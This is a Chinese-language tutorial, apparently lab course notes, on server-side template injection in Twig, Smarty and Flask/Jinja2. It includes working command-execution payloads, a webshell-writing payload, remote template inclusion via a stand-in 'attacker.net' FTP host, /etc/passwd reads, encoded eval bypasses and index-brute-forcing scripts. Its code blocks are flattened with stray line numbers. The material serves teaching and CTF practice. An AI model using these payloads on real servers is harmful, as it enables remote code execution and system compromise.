4// 开始清理缓存5$cache = __DIR__ . '/cache';6if (file_exists($cache) && is_dir($cache)) {7 $it = new RecursiveDirectoryIterator($cache, RecursiveDirectoryIterator::SKIP_DOTS);8 $files = new RecursiveIteratorIterator($it, RecursiveIteratorIterator::CHILD_FIRST);9 foreach ($files as $file) {10 if ($file->isDir()) {11 rmdir($file->getRealPath());12 } else {13 unlink($file->getRealPath());14 }15 }16}17
18$loader = new \Twig\Loader\FilesystemLoader('./templates');19// 指定模版文件存放的目录20
21$twig = new \Twig\Environment($loader, [22 'cache' => './cache/views', 23]);24// 指定存放模版缓存的文件夹,渲染后的文件将会临时放在这个地方25
26$navigation = [27 ['href' => 'http://www.baidu.com','caption' => '百度'],28 ['href' => 'http://www.qq.com','caption' => '腾讯']29];30$a_variable = "haha";31
32echo $twig->render('tags.twig',[33 'navigation' => $navigation,34 'a_variable' => $a_variable35]);36?>应用程序将变量传入模板中进行处理,变量可以包含你能访问的属性或元素。你可以使用 . 来访问变量中的属性(方法或 PHP 对象的属性,或 PHP 数组单元),也可以使用所谓的 "subscript" 语法 []:
xxxxxxxxxx21{{ foo.bar }}2{{ foo['bar'] }}
可以为模板代码块内的变量赋值,赋值使用 set 标签:
xxxxxxxxxx31{% set foo = 'foo' %}2{% set foo = [1, 2] %}3{% set foo = {'foo': 'bar'} %}
可以通过过滤器 filters 来修改模板中的变量。在过滤器中,变量与过滤器或多个过滤器之间使用 | 分隔,还可以在括号中加入可选参数。可以连接多个过滤器,一个过滤器的输出结果将用于下一个过滤器中。 下面这个过滤器的例子会剥去字符串变量 name 中的 HTML 标签,然后将其转化为大写字母开头的格式:
xxxxxxxxxx41{{ name|striptags|title }}23// {{ '<a>whoami<a>'|striptags|title }}4// Output: Whoami!
下面这个过滤器将接收一个序列 list,然后使用 join 中指定的分隔符将序列中的项合并成一个字符串:
xxxxxxxxxx81{{ list|join }}2{{ list|join(', ') }}34// {{ ['a', 'b', 'c']|join }}5// Output: abc67// {{ ['a', 'b', 'c']|join('|') }}8// Output: a|b|c
更多内置过滤器请参考:https://twig.symfony.com/doc/3.x/filters/index.html
在 Twig 模板中可以直接调用函数,用于生产内容。如下调用了 range() 函数用来返回一个包含整数等差数列的列表:
xxxxxxxxxx51{% for i in range(0, 3) %}2{{ i }},3{% endfor %}45// Output: 0, 1, 2, 3,
更多内置函数请参考:https://twig.symfony.com/doc/3.x/functions/index.html
控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {% ... %} 块中。 例如使用 for 标签进行循环:
xxxxxxxxxx61<h1>Members</h1>2<ul>3{% for user in users %}4<li>{{ user.username|e }}</li>5{% endfor %}6</ul>
if 标签可以用来测试表达式:
xxxxxxxxxx71{% if users|length > 0 %}2<ul>3{% for user in users %}4<li>{{ user.username|e }}</li>5{% endfor %}6</ul>7{% endif %}
xxxxxxxxxx21$users = [['username'=>'alice'],['username'=>'bob']];2echo $twig->render('index.html', ['name' => '<h1>whoami</h1>','users'=>$users]);更多 tags 请参考:https://twig.symfony.com/doc/3.x/tags/index.html
要在模板中注释某一行,可以使用注释语法 {# ...#}:
xxxxxxxxxx71{# note: disabled template because we no longer use this2{% for user in users %}3...4{% endfor %}56#}7
Twig 提供的 include 函数可以使你更方便地在模板中引入模板,并将该模板已渲染后的内容返回到当前模板:
xxxxxxxxxx11{{ include('sidebar.html') }}
Twig 最强大的部分是模板继承。模板继承允许您构建一个基本的 "skeleton" 模板,该模板包含站点的所有公共元素,并定义子模版可以覆写的 blocks 块。 然后允许其他子模板集成并重写。 比如,我们先来定义一个基础的模板 base.html,它定义了一个基础的 HTML skeleton 文档:
xxxxxxxxxx171<!DOCTYPE html>2<html>3<head>4{% block head %}5<link rel="stylesheet" href="style.css" />6<title>{% block title %}{% endblock %} - My Webpage</title>7{% endblock %}8</head>9<body>10<div id="content">{% block content %}{% endblock %}</div>11<div id="footer">12{% block footer %}13© Copyright 2011 by <a href="http://domain.invalid/">you</a>.14{% endblock %}15</div>16</body>17</html>
在这个例子中,block 标签定义了 4 个块,可以由子模版进行填充。对于模板引擎来说,所有的 block 标签都可以由子模版来覆写该部分。 子模版大概是这个样子的:
xxxxxxxxxx151{% extends "base.html" %}23{% block title %}Index{% endblock %}4{% block head %}5{{ parent() }}6<style type="text/css">7.important { color: #336699; }8</style>9{% endblock %}10{% block content %}11<h1>Index</h1>12<p class="important">13Welcome to my awesome homepage.14</p>15{% endblock %}
其中的 extends 标签是关键所在,其必须是模板的第一个标签。 extends 标签告诉模板引擎当前模板扩展自另一个父模板,当模板引擎评估编译这个模板时,首先会定位到父模板。由于子模版未定义并重写 footer 块,就用来自父模板的值替代使用了。 更多 Twig 的语法请参考:https://twig.symfony.com/doc/3.x/
和其他的模板注入一样,Twig 模板注入也是发生在直接将用户输入作为模板,比如下面的代码:
xxxxxxxxxx91<?php2require_once __DIR__.'/vendor/autoload.php';3
4$loader = new \Twig\Loader\ArrayLoader();5$twig = new \Twig\Environment($loader);6
7$template = $twig->createTemplate("Hello {$_GET['name']}!");8
9echo $template->render();比如下图这样,后面会讲解原理
xxxxxxxxxx11?name={{["id"]|map("system")}}这里的代码中,createTemplate时注入了$_GET['name'],此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的{{name}},而不是动态拼接的$_GET["name"]:
xxxxxxxxxx91<?php2require_once __DIR__.'/vendor/autoload.php';3
4$loader = new \Twig\Loader\ArrayLoader([5 'index' => 'Hello {{ name }}!',6]);7$twig = new \Twig\Environment($loader);8
9echo $twig->render('index', ['name' => $_GET["name"]]);而对于 Twig 模板注入利用,往往就是借助模板中的一些方法或过滤器实现攻击目的。下面我们分版本进行讲解。
创建twgi 1.x环境
xxxxxxxxxx41┌──(root㉿kali)-[~]2└─# docker exec -it lnmp74 bash3root@100db6757f60:/# cd /app/public/4root@100db6757f60:/app/public# composer require "twig/twig:^1.35"测试代码如下:
xxxxxxxxxx121<?php2include_once(__DIR__.'/vendor/autoload.php');3
4$loader = new \Twig\Loader\ArrayLoader();5$twig = new \Twig\Environment($loader);6
7$template = $twig->createTemplate($_GET['name']);8// 直接使用get收到的name变量作为模版9
10echo $template->render();11// 渲染模版12?>存在SSTI
xxxxxxxxxx11?name={%set name='abc'%}{{ name }}在 Twig 1.x 中存在三个全局变量:
_self:引用当前模板的实例。_context:引用当前上下文。_charset:引用当前字符集。对应的代码是:
xxxxxxxxxx51protected $specialVars = [2 '_self' => '$this',3 '_context' => '$context',4 '_charset' => '$this->env->getCharset()',5 ];这里主要就是利用 _self 变量,它会返回当前 \Twig\Template 实例,并提供了指向 Twig_Environment 的 env 属性,这样我们就可以继续调用 Twig_Environment 中的其他方法,从而进行 SSTI。 比如以下 Payload 可以调用 setCache 方法改变 Twig 加载 PHP 文件的路径,在 allow_url_include 开启的情况下我们可以通过改变路径实现远程文件包含:
xxxxxxxxxx41{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}2
3# 这里将Twig的缓存选项设置为了一个远程FTP地址ftp://attacker.net:xxxx导致Twig在将模板加载到本地缓存之前,尝试从指定的FTP地址加载模板,当我们控制这个地址,就可以将恶意代码植入模板中,进行攻击。植入后再加载模板,比如加载的模版名字叫backdoor4
此外还有 getFilter 方法:
xxxxxxxxxx151public function getFilter($name)2 {3 ...4 foreach ($this->filterCallbacks as $callback) {5 if (false !== $filter = call_user_func($callback, $name)) {6 return $filter;7 }8 }9 return false;10}11
12public function registerUndefinedFilterCallback($callable)13{14 $this->filterCallbacks[] = $callable;15}我们在 getFilter 里发现了危险函数 call_user_func。通过传递参数到该函数中,可以调用任意 PHP 函数。所以我们只需要给$callback和$name 赋值就可以实现命令执行,$callback的赋值需要通过调用registerUndefinedFilterCallback()方法。Payload 如下:
xxxxxxxxxx31{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}2// 由于twig官方已经修复了此问题,所以twig 1.x 新版本目前无法复现3// Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)但是在 Twig 2.x 及 Twig 3.x 以后,_self 的作用发生了变化,只能返回当前实例名字符串:
所以以上 Payload 只能适用于 Twig 1.x 。
然而现在Twig 1.x最新版已经修复了这个_self,上面的案例要复现成功,只能找到较早版本的1.x
测试代码如下:
xxxxxxxxxx121<?php2include_once(__DIR__.'/vendor/autoload.php');3
4$loader = new \Twig\Loader\ArrayLoader();5$twig = new \Twig\Environment($loader);6
7$template = $twig->createTemplate($_GET['name']);8// 直接使用get收到的name变量作为模版9
10echo $template->render();11// 渲染模版12?>到了 Twig 2.x / 3.x 版本中,_self 变量在 SSTI 中早已失去了他的作用,但我们可以借助新版本中的一些过滤器实现攻击目的。
在 Twig 3.x 中,map 这个过滤器可以允许用户传递一个箭头函数,并将这个箭头函数应用于序列或映射的元素:
xxxxxxxxxx161{% set people = [2{first: "Bob", last: "Smith"},3{first: "Alice", last: "Dupond"},4] %}56{{ people|map(p => "#{p.first} #{p.last}")|join(', ') }}7// Output: outputs Bob Smith, Alice Dupond8910{% set people = {11"Bob": "Smith",12"Alice": "Dupond",13} %}1415{{ people|map((last, first) => "#{first} #{last}")|join(', ') }}16// Output: outputs Bob Smith, Alice Dupond
当我们如下使用 map 时:
xxxxxxxxxx11{{["Mark"]|map((arg)=>"Hello #{arg}!")}}
Twig 3.x 会将其编译成:
xxxxxxxxxx11twig_array_map([0 => "Mark"], function ($__arg__) use ($context, $macros) { $context["arg"] = $__arg__; return ("hello " . ($context["arg"] ?? null))})
这个 twig_array_map 函数的源码如下:
xxxxxxxxxx91function twig_array_map($array, $arrow)2{3 $r = [];4 foreach ($array as $k => $v) {5 $r[$k] = $arrow($v, $k); // 直接将 $arrow 当做函数执行6 }7
8 return $r;9}从上面的代码我们可以看到,传入的 $arrow 直接就被当成函数执行,即 $arrow($v, $k) ,而 $v 和 $k 分别是 $array 中的 value 和 key。$array 和 $arrow 都是我们我们可控的,那我们可以不传箭头函数,直接传一个可传入两个参数的、能够命令执行的危险函数名即可实现命令执行。通过查阅常见的命令执行函数:
xxxxxxxxxx41system ( string $command [, int &$return_var ] ) : string2passthru ( string $command [, int &$return_var ] )3exec ( string $command [, array &$output [, int &$return_var ]] ) : string4shell_exec ( string $cmd ) : string前三个都可以使用。相应的 Payload 如下:
xxxxxxxxxx31{{["id"]|map("system")}}2{{["id"]|map("passthru")}}3{{["id"]|map("exec")}} // 无回显其中{{["id"]|map("system")}}会被成下面这样:
xxxxxxxxxx11twig_array_map([0 => "id"], "system")最终在twig_array_map函数中将执行system('id',0)。执行结果如下图所示:
如果上面这些命令执行函数都被禁用了,我们还可以执行其他函数执行任意代码:
xxxxxxxxxx11{{{"<?php phpinfo();eval($_POST[whoami])":"/app/public/hell.php"}|map("file_put_contents")}} // 写 Webshell
按照 map 的利用思路,我们去找带有 $arrow 参数的,可以发现下面几个过滤器也是可以利用的。
这个 sort 筛选器可以用来对数组排序。
xxxxxxxxxx31{% for user in users|sort %}2...3{% endfor %}
你可以传递一个箭头函数来对数组进行排序:
xxxxxxxxxx111{% set fruits = [2{ name: 'Apples', quantity: 5 },3{ name: 'Oranges', quantity: 2 },4{ name: 'Grapes', quantity: 4 },5] %}67{% for fruit in fruits|sort((a, b) => a.quantity <=> b.quantity)|column('name') %}8{{ fruit }}9{% endfor %}1011// Output in this order: Oranges, Grapes, Apples
类似于 map,模板编译的过程中会进入 twig_sort_filter 函数,这个 twig_sort_filter 函数的源码如下:
xxxxxxxxxx161function twig_sort_filter($array, $arrow = null)2{3if ($array instanceof \Traversable) {4$array = iterator_to_array($array);5} elseif (!\is_array($array)) {6throw new RuntimeError(sprintf('The sort filter only works with arrays or "Traversable", got "%s".', \gettype($array)));7}89if (null !== $arrow) {10uasort($array, $arrow); // 直接被 uasort 调用11} else {12asort($array);13}1415return $array;16}
从源码中可以看到,$array 和 $arrow 直接被 uasort 函数调用。众所周知 uasort 函数可以使用用户自定义的比较函数对数组中的元素按键值进行排序,如果我们自定义一个危险函数,将造成代码执行或命令执行:
xxxxxxxxxx41php > $arr = ["id",0];2php > usort($arr,"system");3uid=0(root) gid=0(root) groups=0(root)4php >
知道了做这些我们便可以构造 Payload 了:
xxxxxxxxxx31{{["id", 0]|sort("system")}}2{{["id", 0]|sort("passthru")}}3{{["id", 0]|sort("exec")}} // 无回显
这个 filter 过滤器使用箭头函数来过滤序列或映射中的元素。箭头函数用于接收序列或映射的值:
xxxxxxxxxx41{% set lists = [34, 36, 38, 40, 42] %}2{{ lists|filter(v => v > 38)|join(', ') }}34// Output: 40, 42
类似于 map,模板编译的过程中会进入 twig_array_filter 函数,这个 twig_array_filter 函数的源码如下:
xxxxxxxxxx91function twig_array_filter($array, $arrow)2{3if (\is_array($array)) {4return array_filter($array, $arrow, \ARRAY_FILTER_USE_BOTH); // $array 和 $arrow 直接被 array_filter 函数调用5}67// the IteratorIterator wrapping is needed as some internal PHP classes are \Traversable but do not implement \Iterator8return new \CallbackFilterIterator(new \IteratorIterator($array), $arrow);9}
从源码中可以看到,$array 和 $arrow 直接被 array_filter 函数调用。 array_filter 函数可以用回调函数过滤数组中的元素,如果我们自定义一个危险函数,将造成代码执行或命令执行:
xxxxxxxxxx41php > $arr = ["id"];2php > array_filter($arr,"system");3uid=0(root) gid=0(root) groups=0(root)4php >
下面给出几个 Payload:
xxxxxxxxxx31{{["id"]|filter("system")}}2{{["id"]|filter("passthru")}}3{{["id"]|filter("exec")}} // 无回显
这个 reduce 过滤器使用箭头函数迭代地将序列或映射中的多个元素缩减为单个值。箭头函数接收上一次迭代的返回值和序列或映射的当前值:
xxxxxxxxxx31{% set numbers = [1, 2, 3] %}2{{ numbers|reduce((carry, v) => carry + v) }}3// Output: 6
类似于 map,模板编译的过程中会进入 twig_array_reduce 函数,这个 twig_array_reduce 函数的源码如下:
xxxxxxxxxx91function twig_array_reduce($array, $arrow, $initial = null)2{3// 在最新版本中加入了过滤,具体代码看下面图片4if (!\is_array($array)) {5$array = iterator_to_array($array);6}78return array_reduce($array, $arrow, $initial); // $array, $arrow 和 $initial 直接被 array_reduce 函数调用9}
从源码中可以看到,$array 和 $arrow 直接被 array_filter 函数调用。 array_reduce 函数可以发送数组中的值到用户自定义函数,并返回一个字符串。如果我们自定义一个危险函数,将造成代码执行或命令执行。
直接给出 Payload:
xxxxxxxxxx31{{[0, 0]|reduce("system", "id")}}2{{[0, 0]|reduce("passthru", "id")}}3{{[0, 0]|reduce("exec", "id")}} // 无回显
在最新的3.x版本中,此过滤器无法触发,因为twig_array_reduce发生了变化
xxxxxxxxxx11docker run -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ssti_twig经测试,发现在 Cookie 处存在 SSTI 漏洞:
根据 SSTI 的测试流程发现目标环境使用了 Twig 模板,版本是 Twig 1.x,直接上 Payload 打就行了:
xxxxxxxxxx11{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可 安装方法
xxxxxxxxxx31docker exec -it lnmp74 bash2cd /app/public/3composer require smarty/smarty:^3使用方法
xxxxxxxxxx71<?php2
3require 'vendor/autoload.php';4$smarty = new Smarty();5$smarty->setTemplateDir('templates');6$smarty->assign('name', 'eagleslab');7$smarty->display('index.tpl');创建模版文件./templates/index.tpl
xxxxxxxxxx11<h1>Hello {$name} !</h1>
修改测试源码
xxxxxxxxxx81<?php2require 'vendor/autoload.php';3$smarty = new Smarty();4// $smarty->setTemplateDir('template');5// $smarty->assign('name', 'eagleslab');6$data = $_GET['name'];7$smarty->display($data); 8// 模版文件直接由用户端传入任意文件读取
string:{include file='C:/Windows/win.ini'}引入普通文件:
xxxxxxxxxx11string:{include file='/etc/passwd'}
引入php文件:
xxxxxxxxxx11string:{include file='index.php'}查看源码就能拿到完整的php代码
代码执行漏洞
xxxxxxxxxx41string:{if phpinfo()}{/if}23# if 用来判断条件是否成立的,会通过执行的方式判断是否成立4
xxxxxxxxxx11string:{if system('whoami')}{/if}
string:{function name='x(){};system(whoami);function '}{/function}切换到较早的smarty版本
xxxxxxxxxx31docker exec -it lnmp74 bash2cd /app/public/3composer require "smarty/smarty:3.1.24"查看版本
xxxxxxxxxx11string:{$smarty.version}
测试效果
xxxxxxxxxx11string:{function name='x(){};system(whoami);function '}{/function}
导致漏洞的代码在 libs/sysplugins/smarty_internal_compile_function.php#Smarty_Internal_Compile_Function->compile()
查看 3.1.39 版本修复之后的代码,可以看到增加了正则限制 name 的内容,此时就无法注入恶意代码了
我们将版本切换到最新版
xxxxxxxxxx31docker exec -it lnmp74 bash2cd /app/public/3composer require "smarty/smarty:3.1.46"xxxxxxxxxx91string:{$smarty.template_object->smarty->_getSmartyObj()->display('string:{system(whoami)}')}2string:{$smarty.template_object->smarty->enableSecurity()->display('string:{system(whoami)}')}3string:{$smarty.template_object->smarty->disableSecurity()->display('string:{system(whoami)}')}4string:{$smarty.template_object->smarty->addTemplateDir('./x')->display('string:{system(whoami)}')}5string:{$smarty.template_object->smarty->setTemplateDir('./x')->display('string:{system(whoami)}')}6string:{$smarty.template_object->smarty->addPluginsDir('./x')->display('string:{system(whoami)}')}7string:{$smarty.template_object->smarty->setPluginsDir('./x')->display('string:{system(whoami)}')}8string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{system(whoami)}')}9string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')}
{$smarty.template_object}访问到 smarty 对象所导致测试效果
eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}libs/plugins/function.math.php中的smarty_function_math执行了eval(),而eval()的数据可以通过 8 进制数字绕过正则表达式版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用 php 的 eval() 支持传入 8 或 16 进制数据,以下代码在 php7 版本都可以顺利执行,由于 php5 不支持 (system)(whoami); 这种方式执行代码,所以 php5 的 8 进制方式用不了:
xxxxxxxxxx21eval('("\163\171\163\164\145\155")("\167\150\157\141\155\151");');2eval("\x73\x79\x73\x74\x65\x6d\x28\x77\x68\x6f\x61\x6d\x69\x29\x3b");
环境使用的是如下docker
xxxxxxxxxx11docker run -d -p 5000:5000 -v /root/wwwtest:/code --name flask registry.cn-hangzhou.aliyuncs.com/eagleslab/service:flask201关于此容器说明:
进入到该容器后,将py代码放在/code下,然后使用python xxx.py运行py程序
xxxxxxxxxx11docker exec -it flask bash这里使用python的flask框架测试ssti注入攻击的过程。
xxxxxxxxxx181from flask import Flask, render_template, request, render_template_string2
3app = Flask(__name__)4
5
6.route('/ssti', methods=['GET', 'POST'])7def demo():8 template = '''9 <div class="center-content error">10 <h1>Hello %s</h1>11 </div>12 ''' % request.args["name"]13
14 return render_template_string(template)15
16if __name__ == '__main__':17 app.debug = True18 app.run('0.0.0.0',5000,True)在kali上可以使用如下命令执行这个app.py文件
xxxxxxxxxx21┌──(root㉿kali)-[~/wwwtest]2└─# python app.py测试代码
xxxxxxxxxx11{{3*5}}
发现存在模板注入 获得字符串的type实例
xxxxxxxxxx11{{"".__class__}}
这里使用的置换型模板,将字符串进行简单替换,其中参数name的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。
{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。
以flask的jinja2引擎为例,官方的模板语法如下:
{% ... %}用于声明,比如在使用for控制语句或者if语句时{{......}}用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式{# ... #}用于模板注释# ... ##用于行语句,就是对语法的简化#...#可以有和{%%}相同的效果
由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令:
xxxxxxxxxx11{{%22%22.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
需要注意的是,由于不同的python版本os._wrap_close类存在的位置不一样,可以提前进行查询,在本环境中是137
可以看到命令被成功执行了。下面讲下构造的思路:
一开始是通过__class__ 通过 __base__ 拿到object基类,接着利用 __subclasses()__ 获取os._wrap_close子类。在全部子类中找到被重载的类即为可用的类,然后通过__init__ 去获取__globals__ 全局变量,接着通过__builtins__ 获取eval函数,最后利用popen命令执行、read()读取即可。
上述构造及实例没有涉及到过滤,不需要考虑绕过,所以只是ssti注入中较简单的一种。但是当某些字符或者关键字被过滤时,情况较为复杂。实际上不管对于哪种构造来说,都离不开最基本也是最常用的方法。下面是总结的一些常用到的利用方法和过滤器。
可以使用如下python代码确定所需要的类编号
xxxxxxxxxx131import requests2headers = {3 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'4}5for i in range(500):6 url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"]}}"7 res = requests.get(url=url, headers=headers)8 if 'os._wrap_close' in res.text:9 print(i)10 break11
12# 得到编号为13713
xxxxxxxxxx381__class__ 类的一个内置属性,表示实例对象的类。2__base__ 类型对象的直接基类3__bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__4__mro__ 查看继承关系和调用顺序,返回元组。此属性是由类组成的元组,在方法解析期间会基于它来查找基类。5__subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.6__init__ 初始化类,返回的类型是function7__globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。8__dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里9__getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。10__getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')11__builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身.12__import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]13__str__() 返回描写这个对象的字符串,可以理解成就是打印出来。14url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。15get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。16lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}17current_app 应用上下文,一个全局变量。18config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}19g {{g}}得到<flask.g of 'flask_ssti'>20dict.get(key, default=None) 返回指定键的值,如果值不在字典中返回default值21dict.setdefault(key, default=None) 和get()类似, 但如果键不存在于字典中,将会添加键并将值设为default22request 可以用于获取字符串来绕过,包括下面这些。23此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()24request.args.x1 get传参25request.values.x1 所有参数26request.cookies cookies参数27request.headers 请求头参数28request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)29request.data post传参 (Content-Type:a/b)30request.json post传json (Content-Type: application/json)31[].__class__.__base__32''.__class__.__mro__[2]33().__class__.__base__34{}.__class__.__base__35request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用36或者37[].__class__.__bases__[0] //其他的类似38__new__功能:用所给类创建一个对象,并且返回这个对象。
详细说明可以参考官方文档:https://jinja.palletsprojects.com/en/latest/templates/,这里列出一些常用的。
xxxxxxxxxx331issubclass(A,B): 判断A类是否是B类的子类2int():将值转换为int类型;3float():将值转换为float类型;4lower():将字符串转换为小写;5upper():将字符串转换为大写;6title():把值中的每个单词的首字母都转成大写;7capitalize():把变量值的首字母转成大写,其余字母转小写;8trim():截取字符串前面和后面的空白字符;9wordcount():计算一个长字符串中单词的个数;10reverse():字符串反转;11replace(value,old,new): 替换将old替换为new的字符串;12truncate(value,length=255,killwords=False):截取length长度的字符串;13striptags():删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格;14escape()或e:转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。15safe(): 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}};16list():将变量列成列表;17string():将变量转换成字符串;18join():将一个序列中的参数值拼接成字符串。示例看上面payload;19abs():返回一个数值的绝对值;20first():返回一个序列的第一个元素;21last():返回一个序列的最后一个元素;22format(value,arags,*kwargs):格式化字符串。比如:{{ "%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo!23length():返回一个序列或者字典的长度;24sum():返回列表内数值的和;25sort():返回排序后的列表;26default(value,default_value,boolean=false):如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。27length()返回字符串的长度,别名是count28select() 通过对每个对象应用测试并仅选择测试成功的对象来筛选对象序列。如果没有指定测试,则每个对象都将被计算为布尔值29可以用来获取字符串30实际使用为31()|select|string32结果如下33<generator object select_or_reject at 0x0000022717FF33C0>
接着是总结的一些常用的命令执行语句。
python2的使用<type 'file'>这个类型
xxxxxxxxxx11{{[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()}}
python3中调用<class '_frozen_importlib_external.FileLoader'>这个类去读取文件
xxxxxxxxxx11{{().__class__.__bases__[0].__subclasses__()[79]["get_data"](0, "/etc/passwd")}}
可以用来执行命令的类有很多,其基本原理就是遍历含有eval函数即os模块的子类,利用这些子类中的eval函数即os模块执行命令。这里我们简单挑几个常用的讲解。
寻找内建函数 eval 执行命令
首先编写脚本遍历目标Python环境中含有内建函数 eval 的子类的索引号:
注意!需要关闭flask的debug模式,因为报错界面里面包含eval,会导致每个页面都符合。
app.run(host="0.0.0.0",port=5000,debug=False)
xxxxxxxxxx331import requests2
3headers = {4 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'5}6for i in range(500):7 url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__['__builtins__']}}"8 print(url)9 res = requests.get(url=url, headers=headers)10 if 'eval' in res.text:11 print(i)12
13# 得到一大堆子类的索引:14
15100161011710218103191182011921120221222312424125251262612727137281382913930141311423214333...我们可以记下几个含有eval函数的类:
所以payload如下:
xxxxxxxxxx11{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')}}
我们可以看到,使用eval函数执行命令也是调用的os模块,那我们直接调用os模块不是更简单? 寻找 os 模块执行命令 Python的 os 模块中有system和popen这两个函数可用来执行命令。其中system()函数执行命令是没有回显的,我们可以使用system()函数配合curl外带数据;popen()函数执行命令有回显。所以比较常用的函数为popen()函数,而当popen()函数被过滤掉时,可以使用system()函数代替。 首先编写脚本遍历目标Python环境中含有os模块的类的索引号:
xxxxxxxxxx311import requests2
3headers = {4 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'5}6
7for i in range(500):8 url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"9
10 res = requests.get(url=url, headers=headers)11 if 'os.py' in res.text:12 print(i)13
14# 可以得到一大堆类15
16137172181821919220202212122222223232242422825267262682727928280292813028231....随便挑一个类构造payload执行命令即可:
xxxxxxxxxx11{{''.__class__.__bases__[0].__subclasses__()[400].__init__.__globals__['os'].popen('whoami').read()}}
但是该方法遍历得到的类不准确,因为一些不相关的类名中也存在字符串 “os”,所以我们还要探索更有效的方法。 我们可以看到,即使是使用os模块执行命令,其也是调用的os模块中的popen函数,那我们也可以直接调用popen函数,存在popen函数的类一般是 os._wrap_close,但也不绝对。由于目标Python环境的不同,我们还需要遍历一下。 寻找 popen 函数执行命令
xxxxxxxxxx151import requests2
3headers = {4 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36'5}6
7for i in range(500):8 url = "http://192.168.173.66:5000/ssti?name={{().__class__.__bases__[0].__subclasses__()["+str(i)+"].__init__.__globals__}}"9
10 res = requests.get(url=url, headers=headers)11 if 'popen' in res.text:12 print(i)13
14# 得到编号为13715
直接构造payload即可:
xxxxxxxxxx11{{''.__class__.__bases__[0].__subclasses__()[117].__init__.__globals__['popen']('whoami').read()}}
这样得到的索引还是很准确的。
除了这种方法外,我们还可以直接导入os模块,python有一个importlib类,可用load_module来导入你需要的模块。
寻找 importlib 类执行命令
Python 中存在<class '_frozen_importlib.BuiltinImporter'>类,目的就是提供 Python 中 import 语句的实现(以及 __import__函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
首先编写脚本遍历目标Python环境中 importlib 类的索引号:
